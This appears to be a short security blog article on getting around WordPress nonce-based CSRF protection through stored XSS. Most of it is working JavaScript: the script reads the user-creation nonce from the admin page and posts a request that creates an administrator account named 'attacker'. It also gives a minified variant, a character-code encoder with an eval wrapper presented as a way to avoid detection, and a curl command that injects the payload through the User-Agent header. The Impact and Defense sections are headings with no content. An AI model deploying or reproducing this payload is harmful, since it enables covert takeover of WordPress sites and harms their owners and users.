Published on February 13, 2025
WordPress nonces are used to prevent Cross-Site Request Forgery (CSRF) attacks, but when a Cross-Site Scripting (XSS) vulnerability exists, an attacker can extract the nonce and bypass CSRF protections. This article explores how an attacker can leverage stored XSS to extract nonces and escalate privileges.
WordPress nonces are security tokens required in HTTP requests for privileged actions. These tokens:
However, if an XSS vulnerability exists, attackers can inject JavaScript and steal the nonce dynamically when an admin visits the infected page.
The nonce for creating new users is embedded in the response of /wp-admin/user-new.php
. The following JavaScript can extract it:
var ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("GET", "/wp-admin/user-new.php", false);
ajaxRequest.send();
var nonceMatch = /ser" value="([^"]*?)"/g.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
How it works:
/wp-admin/user-new.php
while the admin is logged in.With the extracted nonce, an attacker can create an admin account using a POST request:
var params = "action=createuser&_wpnonce_create-user=" + nonce +
"&user_login=attacker&email=attacker@evil.com" +
"&pass1=attackerpass&pass2=attackerpass&role=administrator";
var request = new XMLHttpRequest();
request.open("POST", "/wp-admin/user-new.php", true);
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
request.send(params);
Steps in the attack:
Minification reduces script size and avoids detection. The minified version of the script:
var a=new XMLHttpRequest();a.open("GET","/wp-admin/user-new.php",false);a.send();
var n=/ser\" value=\"([^\"]*?)\"/g.exec(a.responseText)[1];
var p="action=createuser&_wpnonce_create-user="+n+"&user_login=attacker&role=administrator";
var r=new XMLHttpRequest();r.open("POST","/wp-admin/user-new.php",true);
r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
r.send(p);
Encoding prevents detection and execution issues. A function to convert the payload into Unicode character codes:
function encode_to_javascript(string) {
var output = '';
for (var pos = 0; pos < string.length; pos++) {
output += string.charCodeAt(pos);
if (pos != (string.length - 1)) {
output += ",";
}
}
return output;
}
The payload can then be executed using:
eval(String.fromCharCode(118,97,114,...));
Attackers can send the malicious script via HTTP request:
curl -i http://wpexample.com --user-agent "<script>eval(String.fromCharCode(118,97,114,...))</script>" --proxy 127.0.0.1:8080
Impact:
Defense:
CSRF protections using nonces can be bypassed when XSS is present. Proper mitigation against XSS is crucial to maintaining WordPress security.